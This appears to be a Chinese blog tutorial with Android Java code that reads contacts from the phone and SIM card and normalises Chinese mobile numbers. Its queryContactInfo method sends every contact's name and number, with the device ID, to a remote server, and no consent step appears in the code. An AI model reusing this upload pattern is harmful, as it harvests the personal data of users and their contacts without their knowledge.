需求很明确,获取手机和sim的联系人信息。接口设计也很简介
public interface OnFetchContactsListener {
void onFetcherContactsComplete(List<ContactInfo> list);
}
数据设计为:
public class ContactInfo extends BaseModel {
private static final long serialVersionUID = -8650648832668794807L;
/**联系人名**/
private String mName;
/**联系人电话号码**/
private String mPhoneNumber;
/**联系人ID**/
private String mId;
/**联系人名字字母**/
private String mNameLetter;
private int mOperatorType; //运营商判断,可有可无
}
细分一下,这里要解决3个问题:
- 如何获取手机联系人信息
- 如何获取sim卡的联系人信息
- 取出来的手机信息需要预处理一下变成统一个11位格式。
问题1:如何获取手机联系人信息
根据ContactsContract.Contacts.CONTENT_URI
查询ContentResolver里面的数据,逐个取值即可。
问题2:如何获取sim卡的联系人信息
根据目前查找的信息来看,sim联系人的uri有两种:
- content://icc/adn
-
content://sim/adn
挨个去取即可。
问题3:预处理手机号
这个比较多变,常见的存储格式有:
- "13515681234"
- "135-1568-1234"
- "135 1568 1234"
- "+86 135 1568 1234"
考虑到只使用国内市场,所以最后可以统一为"13515681234"
完整demo如下
包含两个文件:ContactsFetcherHelper和ContactInfo
public class ContactInfo extends BaseModel {
private static final long serialVersionUID = -8650648832668794807L;
/**联系人名**/
private String mName;
/**联系人电话号码**/
private String mPhoneNumber;
/**联系人ID**/
private String mId;
/**联系人名字字母**/
private String mNameLetter;
private int mOperatorType; //运营商判断,可有可无
public void setLetter(String letter) {
mNameLetter = letter;
}
public String getLetter() {
return mNameLetter;
}
public void setName(String name) {
mName = name;
}
public String getName() {
return mName == null? "" : mName;
}
public void setPhoneNumber(String number) {
mPhoneNumber = number;
if (isMobileNumber(number) || isUnicomNumber(number)) {
setmOperatorType(0);
} else {
setmOperatorType(1);
}
}
public String getPhoneNumber() {
return mPhoneNumber;
}
public void setId(String id) {
mId = id;
}
public String getId() {
return mId;
}
public int getmOperatorType() {
return mOperatorType;
}
public void setmOperatorType(int mOperatorType) {
this.mOperatorType = mOperatorType;
}
public static final String MOBILENUMBER_EX = "^1(3[4-9]|4[7]|5[012789]|8[23478]|7[8])\\d{8}$";//移动
public static final String TELECOMNUMBER_EX = "^1(3[3]|5[3]|8[019]|9[8])\\d{8}$";//电信
public static final String UNICOMNUMBER_EX = "^1(3[012]|4[5]|5[56]|8[56])\\d{8}$";//联通
public static final String MOBILENUMBER_EX_2 = "^1(3[4-9]|4[7]|5[012789]|8[23478]|7[8])\\d*$";//移动
public static boolean isMobileNumber(String caller){
return ex(caller, MOBILENUMBER_EX);
}
public static boolean isUnicomNumber(String caller){
return ex(caller, UNICOMNUMBER_EX);
}
public static boolean isTelecomNumber(String caller){
return ex(caller, TELECOMNUMBER_EX);
}
public static boolean ex(String caller,String ex){
Pattern pattern = Pattern.compile(ex);
Matcher matcher = pattern.matcher(caller);
return matcher.matches();
}
}
public class ContactsFetcherHelper implements Runnable {
private static final String TAG = ContactsFetcherHelper.class.getSimpleName();
public interface OnFetchContactsListener {
void onFetcherContactsComplete(List<ContactInfo> list);
}
/**
* 查询联系人信息
* @param context
*/
public static void queryContactInfo(final Context context) {
final Dialog loadingDlg = UIUtil.getLoadingDlg(context, false);
loadingDlg.show();
ContactsFetcherHelper mContactsFetcherHelper = new ContactsFetcherHelper();
mContactsFetcherHelper.start(context, new ContactsFetcherHelper.OnFetchContactsListener() {
@Override
public void onFetcherContactsComplete(final List<ContactInfo> list) {
loadingDlg.dismiss();
if (list != null && list.size() > 0) {
Log.d(TAG, "list.size() = " + list.size());
new SimpleSafeTask<NetResultInfo>(context, UIUtil.getLoadingDlg(context, false)) {
@Override
protected NetResultInfo doInBackgroundSafely() throws Exception {
SendMobileContantNetResultInfo.Request params = new SendMobileContantNetResultInfo.Request();
String deviceId = DataManager.getDeviceUUIDModel().getDeviceId();
params.setDeviceId(deviceId);
List<ContactModel> tmplist = new ArrayList<ContactModel>();
for (ContactInfo ci:list) {
ContactModel tmp = new ContactModel();
tmp.setDeviceId(deviceId);
tmp.setContactName(ci.getName());
tmp.setContactPhone(ci.getPhoneNumber());
tmplist.add(tmp);
}
params.setList(tmplist);
return RepositoryCollection.sendMobileContant(params);
}
@Override
protected void onPostExecuteSafely(NetResultInfo netResultInfo, Exception e) {
super.onPostExecuteSafely(netResultInfo, e);
Log.d(TAG, "sendMobileContant, netResultInfo = " + netResultInfo);
}
}.execute();
}
else {
Log.d(TAG, "list = " + list);
}
}
});
}
private OnFetchContactsListener mListener;
private boolean mCancel = false;
private Context mContext;
private boolean mIsFetching = false;
private Thread mFetchThread;
public void start(Context context, OnFetchContactsListener l) {
if (mIsFetching) {
return;
}
mContext = context;
mCancel = false;
mIsFetching = true;
mListener = l;
mFetchThread = new Thread(this);
mFetchThread.start();
}
public void cancel() {
mCancel = true;
}
@Override
public void run() {
List<ContactInfo> list = new ArrayList<ContactInfo>();
Set<String> set = new HashSet<String>();
if (!mCancel) {
Log.d(TAG, "getPhoneContactHighVersion");
//读取手机里的手机联系人
getPhoneContactHighVersion(list, set);
}
if (!mCancel) {
Log.d(TAG, "getSimContact");
//读取Sim卡中的手机联系人
getSimContact("content://icc/adn", list, set);
}
if (!mCancel) {
Log.d(TAG, "getSimContact");
getSimContact("content://sim/adn", list, set);
}
if (!mCancel && null != mListener) {
mIsFetching = false;
mListener.onFetcherContactsComplete(list);
}
}
// 从本机中取号
private void getPhoneContactHighVersion(List<ContactInfo> list,
Set<String> set) {
// 得到ContentResolver对象
try {
if (null == mContext) {
return;
}
ContentResolver cr = mContext.getContentResolver();
if (null == cr) {
return;
}
// 取得电话本中开始一项的光标
Uri uri = ContactsContract.Contacts.CONTENT_URI;
Cursor cursor = null;
try {
String[] projection = { ContactsContract.Contacts._ID,
ContactsContract.Contacts.DISPLAY_NAME,"sort_key"};
cursor = cr.query(uri, projection, null, null,
null);
} catch (Exception e) {
e.printStackTrace();
}
while (!mCancel && null != cursor && cursor.moveToNext()) {
int nameFieldColumnIndex = cursor
.getColumnIndex(PhoneLookup.DISPLAY_NAME);
int idCol = cursor.getInt(cursor
.getColumnIndex(ContactsContract.Contacts._ID));
int sort_key_index = cursor.getColumnIndex("sort_key");
Log.d("BBB", "sort_key_index=" + sort_key_index);
// 取得联系人名字
// 取得联系人ID
Cursor phone = cr.query(
ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null,
ContactsContract.CommonDataKinds.Phone.CONTACT_ID + "=?",
new String[] { Integer.toString(idCol) }, null);//
// 再类ContactsContract.CommonDataKinds.Phone中根据查询相应id联系人的所有电话;
// 取得电话号码(可能存在多个号码)
while (!mCancel && phone.moveToNext()) {
String strPhoneNumber = formatMobileNumber(phone
.getString(phone
.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER)));
boolean b = isUserNumber(strPhoneNumber);
if (b) {
ContactInfo cci = new ContactInfo();
Log.d("BBB", "getPhoneContactHighVersion strPhoneNumber=" + strPhoneNumber);
cci.setName(cursor.getString(nameFieldColumnIndex));
cci.setLetter(cursor.getString(sort_key_index));
Log.d("BBB", "letter=" + cci.getLetter());
cci.setPhoneNumber(strPhoneNumber);
cci.setId(String.valueOf(idCol));
list.add(cci);
set.add(cci.getPhoneNumber());
}
}
phone.close();
}
if(null != cursor) {
cursor.close();
}
} catch (SecurityException e) {
e.printStackTrace();
}
}
private void getSimContact(String adn, List<ContactInfo> list,
Set<String> set) {
// 读取SIM卡手机号,有两种可能:content://icc/adn与content://sim/adn
Cursor cursor = null;
try {
Intent intent = new Intent();
intent.setData(Uri.parse(adn));
Uri uri = intent.getData();
Log.d("getSimContact uri= ", uri.toString());
cursor = mContext.getContentResolver().query(uri, null,
null, null, null);
if (cursor != null) {
while (!mCancel && cursor.moveToNext()) {
// 取得联系人名字
int nameIndex = cursor.getColumnIndex("name");
// 取得电话号码
int numberIndex = cursor.getColumnIndex("number");
String number = cursor.getString(numberIndex);
Log.d("getSimContact nameIndex= ", number);
if (isUserNumber(number)) {// 是否是手机号码
ContactInfo sci = new ContactInfo();
sci.setPhoneNumber(formatMobileNumber(number));
sci.setName(cursor.getString(nameIndex));
if (!isContain(set, sci.getPhoneNumber())) {// //是否在LIST内存在
list.add(sci);
set.add(sci.getPhoneNumber());
}
}
}
cursor.close();
}
} catch (Exception e) {
Log.i(TAG, e.toString());
if(cursor != null)
cursor.close();
}
}
private String formatMobileNumber(String num2) {
String num;
if (num2 != null) {
// 有的通讯录格式为135-1568-1234
num = num2.replaceAll("-", "");
// 有的通讯录格式中- 变成了空格
num = num.replaceAll(" ", "");
if (num.startsWith("+86")) {
num = num.substring(3);
} else if (num.startsWith("86")) {
num = num.substring(2);
} else if (num.startsWith("86")) {
num = num.substring(2);
}
} else {
num = "";
}
// 有些手机号码格式 86后有空格
return num.trim();
}
private boolean isUserNumber(String num) {
if (null == num || "".equalsIgnoreCase(num)) {
return false;
}
boolean re = false;
if (num.length() == 11) {
if (num.startsWith("1")) {
re = true;
}
}
return re;
}
private boolean isContain(Set<String> set, String un) {
return set.contains(un);
}
}
Panda
2016-08-27